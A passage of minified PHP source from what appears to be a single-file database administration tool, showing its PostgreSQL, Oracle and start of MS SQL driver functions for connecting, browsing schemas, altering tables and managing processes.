array("select"=>trim($g->result("SELECT pg_get_viewdef(".$g->result("SELECT oid FROM pg_class WHERE relname = ".q($A)).")")));}function
collations(){return
array();}function
information_schema($k){return($k=="information_schema");}function
error(){global$g;$H=h($g->error);if(preg_match('~^(.*\n)?([^\n]*)\n( *)\^(\n.*)?$~s',$H,$_))$H=$_[1].preg_replace('~((?:[^&]|&[^;]*;){'.strlen($_[3]).'})(.*)~','\1\2',$_[2]).$_[4];return
nl_br($H);}function
create_database($k,$Fb){return
queries("CREATE DATABASE ".idf_escape($k).($Fb?" ENCODING ".idf_escape($Fb):""));}function
drop_databases($j){global$g;$g->close();return
apply_queries("DROP DATABASE",$j,'idf_escape');}function
rename_database($A,$Fb){return
queries("ALTER DATABASE ".idf_escape(DB)." RENAME TO ".idf_escape($A));}function
auto_increment(){return"";}function
alter_table($R,$A,$o,$Td,$Lb,$cd,$Fb,$Ta,$Zg){$c=array();$Ch=array();if($R!=""&&$R!=$A)$Ch[]="ALTER TABLE ".table($R)." RENAME TO ".table($A);foreach($o
as$n){$d=idf_escape($n[0]);$X=$n[1];if(!$X)$c[]="DROP $d";else{$gk=$X[5];unset($X[5]);if(isset($X[6])&&$n[0]=="")$X[1]=($X[1]=="bigint"?" big":" ")."serial";if($n[0]=="")$c[]=($R!=""?"ADD ":" ").implode($X);else{if($d!=$X[0])$Ch[]="ALTER TABLE ".table($A)." RENAME $d TO $X[0]";$c[]="ALTER $d TYPE$X[1]";if(!$X[6]){$c[]="ALTER $d ".($X[3]?"SET$X[3]":"DROP DEFAULT");$c[]="ALTER $d ".($X[2]==" NULL"?"DROP NOT":"SET").$X[2];}}if($n[0]!=""||$gk!="")$Ch[]="COMMENT ON COLUMN ".table($A).".$X[0] IS ".($gk!=""?substr($gk,9):"''");}}$c=array_merge($c,$Td);if($R=="")array_unshift($Ch,"CREATE TABLE ".table($A)." (\n".implode(",\n",$c)."\n)");elseif($c)array_unshift($Ch,"ALTER TABLE ".table($R)."\n".implode(",\n",$c));if($R!=""||$Lb!="")$Ch[]="COMMENT ON TABLE ".table($A)." IS ".q($Lb);if($Ta!=""){}foreach($Ch
as$F){if(!queries($F))return
false;}return
true;}function
alter_indexes($R,$c){$ac=array();$Ic=array();$Ch=array();foreach($c
as$X){if($X[0]!="INDEX")$ac[]=($X[2]=="DROP"?"\nDROP CONSTRAINT ".idf_escape($X[1]):"\nADD".($X[1]!=""?" CONSTRAINT ".idf_escape($X[1]):"")." $X[0] ".($X[0]=="PRIMARY"?"KEY ":"")."(".implode(", ",$X[2]).")");elseif($X[2]=="DROP")$Ic[]=idf_escape($X[1]);else$Ch[]="CREATE INDEX ".idf_escape($X[1]!=""?$X[1]:uniqid($R."_"))." ON ".table($R)." (".implode(", ",$X[2]).")";}if($ac)array_unshift($Ch,"ALTER TABLE ".table($R).implode(",",$ac));if($Ic)array_unshift($Ch,"DROP INDEX ".implode(", ",$Ic));foreach($Ch
as$F){if(!queries($F))return
false;}return
true;}function
truncate_tables($T){return
queries("TRUNCATE ".implode(", ",array_map('table',$T)));return
true;}function
drop_views($mk){return
drop_tables($mk);}function
drop_tables($T){foreach($T
as$R){$P=table_status($R);if(!queries("DROP ".strtoupper($P["Engine"])." ".table($R)))return
false;}return
true;}function
move_tables($T,$mk,$fj){foreach(array_merge($T,$mk)as$R){$P=table_status($R);if(!queries("ALTER ".strtoupper($P["Engine"])." ".table($R)." SET SCHEMA ".idf_escape($fj)))return
false;}return
true;}function
trigger($A,$R=null){if($A=="")return
array("Statement"=>"EXECUTE PROCEDURE ()");if($R===null)$R=$_GET['trigger'];$J=get_rows('SELECT t.trigger_name AS "Trigger", t.action_timing AS "Timing", (SELECT STRING_AGG(event_manipulation, \' OR \') FROM information_schema.triggers WHERE event_object_table = t.event_object_table AND trigger_name = t.trigger_name ) AS "Events", t.event_manipulation AS "Event", \'FOR EACH \' || t.action_orientation AS "Type", t.action_statement AS "Statement" FROM information_schema.triggers t WHERE t.event_object_table = '.q($R).' AND t.trigger_name = '.q($A));return
reset($J);}function
triggers($R){$H=array();foreach(get_rows("SELECT * FROM information_schema.triggers WHERE event_object_table = ".q($R))as$I)$H[$I["trigger_name"]]=array($I["action_timing"],$I["event_manipulation"]);return$H;}function
trigger_options(){return
array("Timing"=>array("BEFORE","AFTER"),"Event"=>array("INSERT","UPDATE","DELETE"),"Type"=>array("FOR EACH ROW","FOR EACH STATEMENT"),);}function
routine($A,$U){$J=get_rows('SELECT routine_definition AS definition, LOWER(external_language) AS language, *
FROM information_schema.routines
WHERE routine_schema = current_schema() AND specific_name = '.q($A));$H=$J[0];$H["returns"]=array("type"=>$H["type_udt_name"]);$H["fields"]=get_rows('SELECT parameter_name AS field, data_type AS type, character_maximum_length AS length, parameter_mode AS inout
FROM information_schema.parameters
WHERE specific_schema = current_schema() AND specific_name = '.q($A).'
ORDER BY ordinal_position');return$H;}function
routines(){return
get_rows('SELECT specific_name AS "SPECIFIC_NAME", routine_type AS "ROUTINE_TYPE", routine_name AS "ROUTINE_NAME", type_udt_name AS "DTD_IDENTIFIER"
FROM information_schema.routines
WHERE routine_schema = current_schema()
ORDER BY SPECIFIC_NAME');}function
routine_languages(){return
get_vals("SELECT LOWER(lanname) FROM pg_catalog.pg_language");}function
routine_id($A,$I){$H=array();foreach($I["fields"]as$n)$H[]=$n["type"];return
idf_escape($A)."(".implode(", ",$H).")";}function
last_id(){return
0;}function
explain($g,$F){return$g->query("EXPLAIN $F");}function
found_rows($S,$Z){global$g;if(preg_match("~ rows=([0-9]+)~",$g->result("EXPLAIN SELECT * FROM ".idf_escape($S["Name"]).($Z?" WHERE ".implode(" AND ",$Z):"")),$Ph))return$Ph[1];return
false;}function
types(){return
get_vals("SELECT typname
FROM pg_type
WHERE typnamespace = (SELECT oid FROM pg_namespace WHERE nspname = current_schema())
AND typtype IN ('b','d','e')
AND typelem = 0");}function
schemas(){return
get_vals("SELECT nspname FROM pg_namespace ORDER BY nspname");}function
get_schema(){global$g;return$g->result("SELECT current_schema()");}function
set_schema($ii,$h=null){global$g,$Nj,$Pi;if(!$h)$h=$g;$H=$h->query("SET search_path TO ".idf_escape($ii));foreach(types()as$U){if(!isset($Nj[$U])){$Nj[$U]=0;$Pi[lang(24)][]=$U;}}return$H;}function
create_sql($R,$Ta,$Qi){global$g;$H='';$Yh=array();$si=array();$P=table_status($R);if(is_view($P)){$lk=view($R);return
rtrim("CREATE VIEW ".idf_escape($R)." AS $lk[select]",";");}$o=fields($R);$v=indexes($R);ksort($v);$Od=foreign_keys($R);ksort($Od);if(!$P||empty($o))return
false;$H="CREATE TABLE ".idf_escape($P['nspname']).".".idf_escape($P['Name'])." (\n ";foreach($o
as$Cd=>$n){$Wg=idf_escape($n['field']).' '.$n['full_type'].default_value($n).($n['attnotnull']?" NOT NULL":"");$Yh[]=$Wg;if(preg_match('~nextval\(\'([^\']+)\'\)~',$n['default'],$_f)){$ri=$_f[1];$Fi=reset(get_rows(min_version(10)?"SELECT *, cache_size AS cache_value FROM pg_sequences WHERE schemaname = current_schema() AND sequencename = ".q($ri):"SELECT * FROM $ri"));$si[]=($Qi=="DROP+CREATE"?"DROP SEQUENCE IF EXISTS $ri;\n":"")."CREATE SEQUENCE $ri INCREMENT $Fi[increment_by] MINVALUE $Fi[min_value] MAXVALUE $Fi[max_value] START ".($Ta?$Fi['last_value']:1)." CACHE $Fi[cache_value];";}}if(!empty($si))$H=implode("\n\n",$si)."\n\n$H";foreach($v
as$Be=>$u){switch($u['type']){case'UNIQUE':$Yh[]="CONSTRAINT ".idf_escape($Be)." UNIQUE (".implode(', ',array_map('idf_escape',$u['columns'])).")";break;case'PRIMARY':$Yh[]="CONSTRAINT ".idf_escape($Be)." PRIMARY KEY (".implode(', ',array_map('idf_escape',$u['columns'])).")";break;}}foreach($Od
as$Nd=>$Md)$Yh[]="CONSTRAINT ".idf_escape($Nd)." $Md[definition] ".($Md['deferrable']?'DEFERRABLE':'NOT DEFERRABLE');$H.=implode(",\n ",$Yh)."\n) WITH (oids = ".($P['Oid']?'true':'false').");";foreach($v
as$Be=>$u){if($u['type']=='INDEX'){$e=array();foreach($u['columns']as$x=>$X)$e[]=idf_escape($X).($u['descs'][$x]?" DESC":"");$H.="\n\nCREATE INDEX ".idf_escape($Be)." ON ".idf_escape($P['nspname']).".".idf_escape($P['Name'])." USING btree (".implode(', ',$e).");";}}if($P['Comment'])$H.="\n\nCOMMENT ON TABLE ".idf_escape($P['nspname']).".".idf_escape($P['Name'])." IS ".q($P['Comment']).";";foreach($o
as$Cd=>$n){if($n['comment'])$H.="\n\nCOMMENT ON COLUMN ".idf_escape($P['nspname']).".".idf_escape($P['Name']).".".idf_escape($Cd)." IS ".q($n['comment']).";";}return
rtrim($H,';');}function
truncate_sql($R){return"TRUNCATE ".table($R);}function
trigger_sql($R){$P=table_status($R);$H="";foreach(triggers($R)as$Gj=>$Fj){$Hj=trigger($Gj,$P['Name']);$H.="\nCREATE TRIGGER ".idf_escape($Hj['Trigger'])." $Hj[Timing] $Hj[Events] ON ".idf_escape($P["nspname"]).".".idf_escape($P['Name'])." $Hj[Type] $Hj[Statement];;\n";}return$H;}function
use_sql($i){return"\connect ".idf_escape($i);}function
show_variables(){return
get_key_vals("SHOW ALL");}function
process_list(){return
get_rows("SELECT * FROM pg_stat_activity ORDER BY ".(min_version(9.2)?"pid":"procpid"));}function
show_status(){}function
convert_field($n){}function
unconvert_field($n,$H){return$H;}function
support($Ad){return
preg_match('~^(database|table|columns|sql|indexes|descidx|comment|view|'.(min_version(9.3)?'materializedview|':'').'scheme|routine|processlist|sequence|trigger|type|variables|drop_col|kill|dump)$~',$Ad);}function
kill_process($X){return
queries("SELECT pg_terminate_backend(".number($X).")");}function
connection_id(){return"SELECT pg_backend_pid()";}function
max_connections(){global$g;return$g->result("SHOW max_connections");}$w="pgsql";$Nj=array();$Pi=array();foreach(array(lang(25)=>array("smallint"=>5,"integer"=>10,"bigint"=>19,"boolean"=>1,"numeric"=>0,"real"=>7,"double precision"=>16,"money"=>20),lang(26)=>array("date"=>13,"time"=>17,"timestamp"=>20,"timestamptz"=>21,"interval"=>0),lang(23)=>array("character"=>0,"character varying"=>0,"text"=>0,"tsquery"=>0,"tsvector"=>0,"uuid"=>0,"xml"=>0),lang(27)=>array("bit"=>0,"bit varying"=>0,"bytea"=>0),lang(28)=>array("cidr"=>43,"inet"=>43,"macaddr"=>17,"txid_snapshot"=>0),lang(29)=>array("box"=>0,"circle"=>0,"line"=>0,"lseg"=>0,"path"=>0,"point"=>0,"polygon"=>0),)as$x=>$X){$Nj+=$X;$Pi[$x]=array_keys($X);}$Uj=array();$wg=array("=","<",">","<=",">=","!=","~","!~","LIKE","LIKE %%","ILIKE","ILIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL");$be=array("char_length","lower","round","to_hex","to_timestamp","upper");$ie=array("avg","count","count distinct","max","min","sum");$Tc=array(array("char"=>"md5","date|time"=>"now",),array(number_type()=>"+/-","date|time"=>"+ interval/- interval","char|text"=>"||",));}$Hc["oracle"]="Oracle (beta)";if(isset($_GET["oracle"])){$oh=array("OCI8","PDO_OCI");define("DRIVER","oracle");if(extension_loaded("oci8")){class
Min_DB{var$extension="oci8",$_link,$_result,$server_info,$affected_rows,$errno,$error;function
_error($fd,$m){if(ini_bool("html_errors"))$m=html_entity_decode(strip_tags($m));$m=preg_replace('~^[^:]*: ~','',$m);$this->error=$m;}function
connect($N,$V,$E){$this->_link=@oci_new_connect($V,$E,$N,"AL32UTF8");if($this->_link){$this->server_info=oci_server_version($this->_link);return
true;}$m=oci_error();$this->error=$m["message"];return
false;}function
quote($Q){return"'".str_replace("'","''",$Q)."'";}function
select_db($i){return
true;}function
query($F,$Oj=false){$G=oci_parse($this->_link,$F);$this->error="";if(!$G){$m=oci_error($this->_link);$this->errno=$m["code"];$this->error=$m["message"];return
false;}set_error_handler(array($this,'_error'));$H=@oci_execute($G);restore_error_handler();if($H){if(oci_num_fields($G))return
new
Min_Result($G);$this->affected_rows=oci_num_rows($G);}return$H;}function
multi_query($F){return$this->_result=$this->query($F);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
result($F,$n=1){$G=$this->query($F);if(!is_object($G)||!oci_fetch($G->_result))return
false;return
oci_result($G->_result,$n);}}class
Min_Result{var$_result,$_offset=1,$num_rows;function
__construct($G){$this->_result=$G;}function
_convert($I){foreach((array)$I
as$x=>$X){if(is_a($X,'OCI-Lob'))$I[$x]=$X->load();}return$I;}function
fetch_assoc(){return$this->_convert(oci_fetch_assoc($this->_result));}function
fetch_row(){return$this->_convert(oci_fetch_row($this->_result));}function
fetch_field(){$d=$this->_offset++;$H=new
stdClass;$H->name=oci_field_name($this->_result,$d);$H->orgname=$H->name;$H->type=oci_field_type($this->_result,$d);$H->charsetnr=(preg_match("~raw|blob|bfile~",$H->type)?63:0);return$H;}function
__destruct(){oci_free_statement($this->_result);}}}elseif(extension_loaded("pdo_oci")){class
Min_DB
extends
Min_PDO{var$extension="PDO_OCI";function
connect($N,$V,$E){$this->dsn("oci:dbname=//$N;charset=AL32UTF8",$V,$E);return
true;}function
select_db($i){return
true;}}}class
Min_Driver
extends
Min_SQL{function
begin(){return
true;}}function
idf_escape($t){return'"'.str_replace('"','""',$t).'"';}function
table($t){return
idf_escape($t);}function
connect(){global$b;$g=new
Min_DB;$dc=$b->credentials();if($g->connect($dc[0],$dc[1],$dc[2]))return$g;return$g->error;}function
get_databases(){return
get_vals("SELECT tablespace_name FROM user_tablespaces");}function
limit($F,$Z,$y,$B=0,$M=" "){return($B?" * FROM (SELECT t.*, rownum AS rnum FROM (SELECT $F$Z) t WHERE rownum <= ".($y+$B).") WHERE rnum > $B":($y!==null?" * FROM (SELECT $F$Z) WHERE rownum <= ".($y+$B):" $F$Z"));}function
limit1($R,$F,$Z,$M="\n"){return" $F$Z";}function
db_collation($k,$Gb){global$g;return$g->result("SELECT value FROM nls_database_parameters WHERE parameter = 'NLS_CHARACTERSET'");}function
engines(){return
array();}function
logged_user(){global$g;return$g->result("SELECT USER FROM DUAL");}function
tables_list(){return
get_key_vals("SELECT table_name, 'table' FROM all_tables WHERE tablespace_name = ".q(DB)."
UNION SELECT view_name, 'view' FROM user_views
ORDER BY 1");}function
count_tables($j){return
array();}function
table_status($A=""){$H=array();$ki=q($A);foreach(get_rows('SELECT table_name "Name", \'table\' "Engine", avg_row_len * num_rows "Data_length", num_rows "Rows" FROM all_tables WHERE tablespace_name = '.q(DB).($A!=""?" AND table_name = $ki":"")."
UNION SELECT view_name, 'view', 0, 0 FROM user_views".($A!=""?" WHERE view_name = $ki":"")."
ORDER BY 1")as$I){if($A!="")return$I;$H[$I["Name"]]=$I;}return$H;}function
is_view($S){return$S["Engine"]=="view";}function
fk_support($S){return
true;}function
fields($R){$H=array();foreach(get_rows("SELECT * FROM all_tab_columns WHERE table_name = ".q($R)." ORDER BY column_id")as$I){$U=$I["DATA_TYPE"];$of="$I[DATA_PRECISION],$I[DATA_SCALE]";if($of==",")$of=$I["DATA_LENGTH"];$H[$I["COLUMN_NAME"]]=array("field"=>$I["COLUMN_NAME"],"full_type"=>$U.($of?"($of)":""),"type"=>strtolower($U),"length"=>$of,"default"=>$I["DATA_DEFAULT"],"null"=>($I["NULLABLE"]=="Y"),"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),);}return$H;}function
indexes($R,$h=null){$H=array();foreach(get_rows("SELECT uic.*, uc.constraint_type
FROM user_ind_columns uic
LEFT JOIN user_constraints uc ON uic.index_name = uc.constraint_name AND uic.table_name = uc.table_name
WHERE uic.table_name = ".q($R)."
ORDER BY uc.constraint_type, uic.column_position",$h)as$I){$Be=$I["INDEX_NAME"];$H[$Be]["type"]=($I["CONSTRAINT_TYPE"]=="P"?"PRIMARY":($I["CONSTRAINT_TYPE"]=="U"?"UNIQUE":"INDEX"));$H[$Be]["columns"][]=$I["COLUMN_NAME"];$H[$Be]["lengths"][]=($I["CHAR_LENGTH"]&&$I["CHAR_LENGTH"]!=$I["COLUMN_LENGTH"]?$I["CHAR_LENGTH"]:null);$H[$Be]["descs"][]=($I["DESCEND"]?'1':null);}return$H;}function
view($A){$J=get_rows('SELECT text "select" FROM user_views WHERE view_name = '.q($A));return
reset($J);}function
collations(){return
array();}function
information_schema($k){return
false;}function
error(){global$g;return
h($g->error);}function
explain($g,$F){$g->query("EXPLAIN PLAN FOR $F");return$g->query("SELECT * FROM plan_table");}function
found_rows($S,$Z){}function
alter_table($R,$A,$o,$Td,$Lb,$cd,$Fb,$Ta,$Zg){$c=$Ic=array();foreach($o
as$n){$X=$n[1];if($X&&$n[0]!=""&&idf_escape($n[0])!=$X[0])queries("ALTER TABLE ".table($R)." RENAME COLUMN ".idf_escape($n[0])." TO $X[0]");if($X)$c[]=($R!=""?($n[0]!=""?"MODIFY (":"ADD ("):" ").implode($X).($R!=""?")":"");else$Ic[]=idf_escape($n[0]);}if($R=="")return
queries("CREATE TABLE ".table($A)." (\n".implode(",\n",$c)."\n)");return(!$c||queries("ALTER TABLE ".table($R)."\n".implode("\n",$c)))&&(!$Ic||queries("ALTER TABLE ".table($R)." DROP (".implode(", ",$Ic).")"))&&($R==$A||queries("ALTER TABLE ".table($R)." RENAME TO ".table($A)));}function
foreign_keys($R){$H=array();$F="SELECT c_list.CONSTRAINT_NAME as NAME,
c_src.COLUMN_NAME as SRC_COLUMN,
c_dest.OWNER as DEST_DB,
c_dest.TABLE_NAME as DEST_TABLE,
c_dest.COLUMN_NAME as DEST_COLUMN,
c_list.DELETE_RULE as ON_DELETE
FROM ALL_CONSTRAINTS c_list, ALL_CONS_COLUMNS c_src, ALL_CONS_COLUMNS c_dest
WHERE c_list.CONSTRAINT_NAME = c_src.CONSTRAINT_NAME
AND c_list.R_CONSTRAINT_NAME = c_dest.CONSTRAINT_NAME
AND c_list.CONSTRAINT_TYPE = 'R'
AND c_src.TABLE_NAME = ".q($R);foreach(get_rows($F)as$I)$H[$I['NAME']]=array("db"=>$I['DEST_DB'],"table"=>$I['DEST_TABLE'],"source"=>array($I['SRC_COLUMN']),"target"=>array($I['DEST_COLUMN']),"on_delete"=>$I['ON_DELETE'],"on_update"=>null,);return$H;}function
truncate_tables($T){return
apply_queries("TRUNCATE TABLE",$T);}function
drop_views($mk){return
apply_queries("DROP VIEW",$mk);}function
drop_tables($T){return
apply_queries("DROP TABLE",$T);}function
last_id(){return
0;}function
schemas(){return
get_vals("SELECT DISTINCT owner FROM dba_segments WHERE owner IN (SELECT username FROM dba_users WHERE default_tablespace NOT IN ('SYSTEM','SYSAUX'))");}function
get_schema(){global$g;return$g->result("SELECT sys_context('USERENV', 'SESSION_USER') FROM dual");}function
set_schema($ji,$h=null){global$g;if(!$h)$h=$g;return$h->query("ALTER SESSION SET CURRENT_SCHEMA = ".idf_escape($ji));}function
show_variables(){return
get_key_vals('SELECT name, display_value FROM v$parameter');}function
process_list(){return
get_rows('SELECT sess.process AS "process", sess.username AS "user", sess.schemaname AS "schema", sess.status AS "status", sess.wait_class AS "wait_class", sess.seconds_in_wait AS "seconds_in_wait", sql.sql_text AS "sql_text", sess.machine AS "machine", sess.port AS "port"
FROM v$session sess LEFT OUTER JOIN v$sql sql
ON sql.sql_id = sess.sql_id
WHERE sess.type = \'USER\'
ORDER BY PROCESS
');}function
show_status(){$J=get_rows('SELECT * FROM v$instance');return
reset($J);}function
convert_field($n){}function
unconvert_field($n,$H){return$H;}function
support($Ad){return
preg_match('~^(columns|database|drop_col|indexes|descidx|processlist|scheme|sql|status|table|variables|view|view_trigger)$~',$Ad);}$w="oracle";$Nj=array();$Pi=array();foreach(array(lang(25)=>array("number"=>38,"binary_float"=>12,"binary_double"=>21),lang(26)=>array("date"=>10,"timestamp"=>29,"interval year"=>12,"interval day"=>28),lang(23)=>array("char"=>2000,"varchar2"=>4000,"nchar"=>2000,"nvarchar2"=>4000,"clob"=>4294967295,"nclob"=>4294967295),lang(27)=>array("raw"=>2000,"long raw"=>2147483648,"blob"=>4294967295,"bfile"=>4294967296),)as$x=>$X){$Nj+=$X;$Pi[$x]=array_keys($X);}$Uj=array();$wg=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","NOT REGEXP","NOT IN","IS NOT NULL","SQL");$be=array("length","lower","round","upper");$ie=array("avg","count","count distinct","max","min","sum");$Tc=array(array("date"=>"current_date","timestamp"=>"current_timestamp",),array("number|float|double"=>"+/-","date|timestamp"=>"+ interval/- interval","char|clob"=>"||",));}$Hc["mssql"]="MS SQL (beta)";if(isset($_GET["mssql"])){$oh=array("SQLSRV","MSSQL","PDO_DBLIB");define("DRIVER","mssql");if(extension_loaded("sqlsrv")){class
Min_DB{var$extension="sqlsrv",$_link,$_result,$server_info,$affected_rows,$errno,$error;function
_get_error(){$this->error="";foreach(sqlsrv_errors()as$m){$this->errno=$m["code"];$this->error.="$m[message]\n";}$this->error=rtrim($this->error);}function
connect($N,$V,$E){global$b;$k=$b->database();$Qb=array("UID"=>$V,"PWD"=>$E,"CharacterSet"=>"UTF-8");if($k!="")$Qb["Database"]=$k;$this->_link=@sqlsrv_connect(preg_replace('~:~',',',$N),$Qb);if($this->_link){$Ie=sqlsrv_server_info($this->_link);$this->server_info=$Ie['SQLServerVersion'];}else$this->_get_error();return(bool)$this->_link;}function
quote($Q){return"'".str_replace("'","''",$Q)."'";}function
select_db($i){return$this->query("USE ".idf_escape($i));}function
query($F,$Oj=false){$G=sqlsrv_query($this->_link,$F);$this->error="";if(!$G){$this->_get_error();return
false;}return$this->store_result($G);}function
multi_query($F){$this->_result=sqlsrv_query($this->_link,$F);$this->error="";if(!$this->_result){$this->_get_error();return
false;}return
true;}function
store_result($G=null){if(!$G)$G=$this->_result;if(!$G)return
false;if(sqlsrv_field_metadata($G))return
new
Min_Result($G);$this->affected_rows=sqlsrv_rows_affected($G);return
true;}function
next_result(){return$this->_result?sqlsrv_next_result($this->_result):null;}function
result($F,$n=0){$G=$this->query($F);if(!is_object($G))return
false;$I=$G->fetch_row();return$I[$n];}}class
Min_Result{var$_result,$_offset=0,$_fields,$num_rows;function
__construct($G){$this->_result=$G;}function
_convert($I){foreach((array)$I
as$x=>$X){if(is_a($X,'DateTime'))$I[$x]=$X->format("Y-m-d H:i:s");}return$I;}function
fetch_assoc(){return$this->_convert(sqlsrv_fetch_array($this->_result,SQLSRV_FETCH_ASSOC));}function
fetch_row(){return$this->_convert(sqlsrv_fetch_array($this->_result,SQLSRV_FETCH_NUMERIC));}function
fetch_field(){if(!$this->_fields)$this->_fields=sqlsrv_field_metadata($this->_result);$n=$this->_fields[$this->_offset++];$H=new
stdClass;$H->name=$n["Name"];$H->orgname=$n["Name"];$H->type=($n["Type"]==1?254:0);return$H;}function
seek($B){for($r=0;$r<$B;$r++)sqlsrv_fetch($this->_result);}function
__destruct(){sqlsrv_free_stmt($this->_result);}}}elseif(extension_loaded("mssql")){class
Min_DB{var$extension="MSSQL",$_link,$_result,$server_info,$affected_rows,$error;function
connect($N,$V,$E){$this->_link=@mssql_connect($N,$V,$E);if($this->_link){$G=$this->query("SELECT SERVERPROPERTY('ProductLevel'), SERVERPROPERTY('Edition')");if($G){$I=$G->fetch_row();$this->server_info=$this->result("sp_server_info 2",2)." [$I[0]] $I[1]";}}else$this->error=mssql_get_last_message();return(bool)$this->_link;}function
quote($Q){return"'".str_replace("'","''",$Q)."'";}function
select_db($i){return
mssql_select_db($i);}function
query($F,$Oj=false){$G=@mssql_query($F,$this->_link);$this->error="";if(!$G){$this->error=mssql_get_last_message();return
false;}if($G===true){$this->affected_rows=mssql_rows_affected($this->_link);return
true;}return
new
Min_Result($G);}function
multi_query($F){return$this->_result=$this->query($F);}function
store_result(){return$this->_result;}function
next_result(){return
mssql_next_result($this->_result->_result);}function
result($F,$n=0){$G=$this->query($F);if(!is_object($G))return
false;return
mssql_result($G->_result,0,$n);}}class
Min_Result{var$_result,$_offset=0,$_fields,$num_rows;function
__construct($G){$this->_result=$G;$this->num_rows=mssql_num_rows($G);}function
fetch_assoc(){return
mssql_fetch_assoc($this->_result);}function
fetch_row(){return
mssql_fetch_row($this->_result);}function
num_rows(){return
mssql_num_rows($this->_result);}function
fetch_field(){$H=mssql_fetch_field($this->_result);$H->orgtable=$H->table;$H->orgname=$H->name;return$H;}function
seek($B){mssql_data_seek($this->_result,$B);}function
__destruct(){mssql_free_result($this->_result);}}}elseif(extension_loaded("pdo_dblib")){class
Min_DB
extends
Min_PDO{var$extension="PDO_DBLIB";function
connect($N,$V,$E){$this->dsn("dblib:charset=utf8;host=".str_replace(":",";unix_socket=",preg_replace('~:(\d)~',';port=\1',$N)),$V,$E);return
true;}function
select_db($i){return$this->query("USE ".idf_escape($i));}}}class
Min_Driver
extends
Min_SQL{function
insertUpdate($R,$J,$rh){foreach($J
as$O){$Vj=array();$Z=array();foreach($O
as$x=>$X){$Vj[]="$x = $X";if(isset($rh[idf_unescape($x)]))$Z[]="$x = $X";}if(!queries("MERGE ".table($R)." USING (VALUES(".implode(", ",$O).")) AS source (c".implode(", c",range(1,count($O))).") ON ".implode(" AND ",$Z)." WHEN MATCHED THEN UPDATE SET ".implode(", ",$Vj)." WHEN NOT MATCHED THEN INSERT (".implode(", ",array_keys($O)).") VALUES (".implode(", ",$O).");"))return
false;}return
true;}function
begin(){return
queries("BEGIN TRANSACTION");}}function
idf_escape($t){return"[".str_replace("]","]]",$t)."]";}function
table($t){return($_GET["ns"]!=""?idf_escape($_GET["ns"]).".":"").idf_escape($t);}function
connect(){global$b;$g=new
Min_DB;$dc=$b->credentials();if($g->connect($dc[0],$dc[1],$dc[2]))return$g;return$g->error;}function
get_databases(){return
get_vals("SELECT name FROM sys.databases WHERE name NOT IN ('master', 'tempdb', 'model', 'msdb')");}function
limit($F,$Z,$y,$B=0,$M=" "){return($y!==null?" TOP (".($y+$B).")":"")." $F$Z";}function
limit1($R,$F,$Z,$M="\n"){return
limit($F,$Z,1,0,$M);}function
db_collation($k,$Gb){global$g;return$g->result("SELECT collation_name FROM sys.databases WHERE name = ".q($k));}function
engines(){return
array();}function
logged_user(){global$g;return$g->result("SELECT SUSER_NAME()");}function
tables_list(){return
get_key_vals("SELECT name, type_desc FROM sys.all_objects WHERE schema_id = SCHEMA_ID(".q(get_schema()).") AND type IN ('S', 'U', 'V') ORDER BY name");}function
count_tables($j){global$g;$H=array();foreach($j
as$k){$g->select_db($k);$H[$k]=$g->result("SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES");}return$H;}function
table_status($A=""){$H=array();foreach(get_rows("SELECT ao.name AS Name, ao.type_desc AS Engine, (SELECT value FROM fn_listextendedproperty(default, 'SCHEMA', schema_name(schema_id), 'TABLE', ao.name, null, null)) AS Comment FROM sys.all_objects AS ao WHERE schema_id = SCHEMA_ID(".q(get_schema()).") AND type IN ('S', 'U', 'V') ".($A!=""?"AND name = ".q($A):"ORDER BY name"))as$I){if($A!="")return$I;$H[$I["Name"]]=$I;}return$H;}function
is_view($S){return$S["Engine"]=="VIEW";}function
fk_support($S){return
true;}function
fields($R){$Nb=get_key_vals("SELECT objname, cast(value as varchar) FROM fn_listextendedproperty('MS_DESCRIPTION', 'schema', ".q(get_schema()).", 'table', ".q($R).", 'column', NULL)");$H=array();foreach(get_rows("SELECT c.max_length, c.precision, c.scale, c.name, c.is_nullable, c.is_identity, c.collation_name, t.name type, CAST(d.definition as text) [default]
FROM sys.all_columns c
JOIN sys.all_objects o ON c.object_id = o.object_id
JOIN sys.types t ON c.user_type_id = t.user_type_id
LEFT JOIN sys.default_constraints d ON c.default_object_id = d.parent_column_id
WHERE o.schema_id = SCHEMA_ID(".q(get_schema()).") AND o.type IN ('S', 'U', 'V') AND o.name = ".q($R))as$I){$U=$I["type"];$of=(preg_match("~char|binary~",$U)?$I["max_length"]:($U=="decimal"?"$I[precision],$I[scale]":""));$H[$I["name"]]=array("field"=>$I["name"],"full_type"=>$U.($of?"($of)":""),"type"=>$U,"length"=>$of,"default"=>$I["default"],"null"=>$I["is_nullable"],"auto_increment"=>$I["is_identity"],"collation"=>$I["collation_name"],"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),"primary"=>$I["is_identity"],"comment"=>$Nb[$I["name"]],);}return$H;}function
indexes($R,$h=null){$H=array();foreach(get_rows("SELECT i.name, key_ordinal, is_unique, is_primary_key, c.name AS column_name, is_descending_key
FROM sys.indexes i
INNER JOIN sys.index_columns ic ON i.object_id = ic.object_id AND i.index_id = ic.index_id
INNER JOIN sys.columns c ON ic.object_id = c.object_id AND ic.column_id = c.column_id
WHERE OBJECT_NAME(i.object_id) = ".q($R),$h)as$I){$A=$I["name"];$H[$A]["type"]=($I["is_primary_key"]?"PRIMARY":($I["is_unique"]?"UNIQUE":"INDEX"));$H[$A]["lengths"]=array();$H[$A]["columns"][$I["key_ordinal"]]=$I["column_name"];$H[$A]["descs"][$I["key_ordinal"]]=($I["is_descending_key"]?'1':null);}return$H;}function
view($A){global$g;return
array("select"=>preg_replace('~^(?:[^[]|\[[^]]*])*\s+AS\s+~isU','',$g->result("SELECT VIEW_DEFINITION FROM INFORMATION_SCHEMA.VIEWS WHERE TABLE_SCHEMA = SCHEMA_NAME() AND TABLE_NAME = ".q($A))));}function
collations(){$H=array();foreach(get_vals("SELECT name FROM fn_helpcollations()")as$Fb)$H[preg_replace('~_.*~','',$Fb)][]=$Fb;return$H;}function
information_schema($k){return
false;}function
error(){global$g;return
nl_br(h(preg_replace('~^(\[[^]]*])+~m','',$g->error)));}function
create_database($k,$Fb){return
queries("CREATE DATABASE ".idf_escape($k).(preg_match('~^[a-z0-9_]+$~i',$Fb)?" COLLATE $Fb":""));}function
